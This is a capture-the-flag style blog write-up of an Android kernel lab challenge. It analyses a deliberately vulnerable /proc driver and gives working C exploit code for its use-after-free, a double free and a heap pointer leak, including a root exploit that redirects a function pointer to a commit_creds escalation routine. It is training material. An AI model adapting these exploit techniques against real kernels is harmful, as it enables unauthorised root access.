
Introduction
hey every one recently I completed the Android kernel lab from mobile hacking lab. In this blog ill show my process of finding the bug and writing an exploit to achieve root. If you are new to kernel exploitation this is a good challenge to gets started, not just for android but any *nix based operating system you’re focusing.
This challenge is a ret2win style pwnable but in kernel land. Sadly no arm64 rop chains 😕 in this challenge (which I expected when I came across this challenge in LinkedIn). The challenge files can be download from the mobile hacking lab platform. Once download extract the archive.
I’m using my Linux machine rather than the OVA image provided by mobile hacking lab. After extraction, these are the files present in the given archive.

The launch.sh script starts a arm64 emulated environment. There is no KASLR, SMEP or SMAP

vulnerability analysis
tryoutlabs.c file contains the source code for the vulnerable driver.
Looking at the init_module function it creates an entry tryout in the /proc file system and proc_ops only have an ioctl call-back to the function driver_ioctl.
static struct proc_ops pops = {
.proc_ioctl = driver_ioctl
};
struct proc_dir_entry *proc_interface = NULL;
int init_module(void)
{
printk(KERN_INFO "Welcome to MobileHackingLab - Android Kernel Tryoutlab");
printk(KERN_INFO "Interact with driver --> /proc/tryout");
proc_interface = proc_create("tryout", 0666, NULL, &pops);
int i = 0;
for (i = 0; i < MAX; i++)
{
buffers[i] = NULL;
msgs[i] = NULL;
}
printk(KERN_INFO "");
return 0;
}
In driver_ioctl function based on the ioctl request we reach any one of the switch statement. CREATE_MSG, CREATE_BUF, READ_MSG, LOG_MSG, DELETE_MSG.
The vulnerability is in the DELETE_MSG: After freeing the object the pointer to the object is not set to NULL.
case DELETE_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
kfree(obj); // object is not set to null after freeing
break;
It’s vulnerable to a text book use after free bug, when reaching LOG_MSG: it uses the freed object and a call-back to log_func.
case LOG_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
obj->log_func(obj->id);
break;
Conveniently log_func is a function pointer in the msg object and set as kernel_log function in CREATE_MSG: case.
struct msg {
void (*log_func)(unsigned int);
void (*secret_func)(void);
char *buffer;
unsigned int id;
char pad[96];
};
The UAF is not enough to achieve code execution. We need a way to control the allocated object.
In CREATE_BUF: case a 128 bytes memory allocated using kmalloc() using req.buffer member from req object, and copies the buffer from userland to the newly allocated object in kernel using memcpy.
case CREATE_BUF:
if (buffers[buf_id] || !msgs[msg_id]){
printk(KERN_INFO "Buffer already exist or msg doesn't exist");
return 0;
}
buf = kmalloc(sizeof(req.buffer),GFP_KERNEL);
memcpy(buf,req.buffer,sizeof(req.buffer));
buffers[buf_id] = buf;
msgs[msg_id]->buffer = buf;
printk(KERN_INFO "Buffer created and linked to msg");
break;
In heap, recently freed allocations are the first to be reused when a new allocation of the same size occurs.
The size of msg object and req.buffer member is same. So after freeing the msg object when we call the CREATE_BUF case we get the same address as the previously freed msg object (first fit). obj is a dangling pointer pointer with reference to the msg object.
With this primitive we can place an address in the allocated memory and LOG_MSG: case tries to call the call-back which would be corrupted by CREATE_BUF: case.
Poc to trigger the uaf condition and control pc register.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdint.h>
#define CREATE_MSG _IO(1,0)
#define CREATE_BUF _IO(1,1)
#define READ_MSG _IO(1,2)
#define LOG_MSG _IO(1,3)
#define DELETE_MSG _IO(1,4)
#define DELETE_BUF _IO(1,5)
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
int main() {
char *driver="/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request->buffer, 0x0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, CREATE_MSG, request);
ioctl(fd, DELETE_MSG, request);
memset(request->buffer, 0x41, sizeof(struct user_req));
ioctl(fd, CREATE_BUF, request);
ioctl(fd, LOG_MSG, request);
close(fd);
return 0;
}
We control the program counter.

Another convenient function present in the driver is priv_esc, which is the main reason we don’t have to write any rop.
Checkout https://cloudfuzz.github.io/android-kernel-exploitation/chapters/linux-privilege-escalation.html#process-credentials to understand how this function works.
void priv_esc(void){
commit_creds(prepare_kernel_cred(NULL));
}
If control pc to call this function our task struct will be updated and we will become root. We have to find the address of the priv_esc function.
By reading kallsyms we get the address of the priv_esc function (ffff800008e50000).

Due to the lack of KASLR we can hardcode the address in our exploit.
int main() {
char *driver="/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request, 0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, CREATE_MSG, request);
ioctl(fd, DELETE_MSG, request);
memset(request->buffer, 0x0, sizeof(request->buffer));
uint8_t payload[8] = {0x00, 0x00, 0xe5, 0x08, 0x00, 0x80, 0xff, 0xff}; // address of priv_esc function
memcpy(request->buffer, payload, sizeof(payload));
printf("uid: %d\n",getuid());
ioctl(fd, CREATE_BUF, request);
ioctl(fd, LOG_MSG, request);
printf("uid: %d\n",getuid());
system("/bin/busybox sh");
close(fd);
return 0;
}

Double free
Since obj contains a dandling pointer we can free the buffer again to trigger the double free, as of now it’s not exploitable but it will end up in a dos and crash the tryout driver.
poc to trigger the double free.
int main() {
char *driver="/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request, 0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, CREATE_MSG, request);
ioctl(fd, DELETE_MSG, request);
ioctl(fd, DELETE_MSG, request); // double free
close(fd);
return 0;
}

Heap pointer leak
READ_MSG: case reads the buffer member from msg structure which contains to the address of req.buffer allocation from kmalloc.
case READ_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
memcpy(req.buffer,obj->buffer,sizeof(req.buffer));
ret = copy_to_user((struct user_req __user*)arg,&req,sizeof(struct user_req));
printk(KERN_INFO "Msg buffer read");
break;
Combining it with UAF we can leak the pointer returned by kmalloc in CREATE_BUF: case allocation.
int main() {
char *driver="/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request, 0x41, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, CREATE_MSG, request);
ioctl(fd, DELETE_MSG, request);
ioctl(fd, CREATE_BUF, request);
memset(request, 0x0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, READ_MSG, request);
printf("ptr leak: ");
for(int i = 23; i > 15; i--){
printf("%02x", request->buffer[i]);
}
puts("\n");
close(fd);
return 0;
}

references
https://cloudfuzz.github.io/android-kernel-exploitation/chapters/linux-privilege-escalation.html#process-credentials
https://www.mobilehackinglab.com/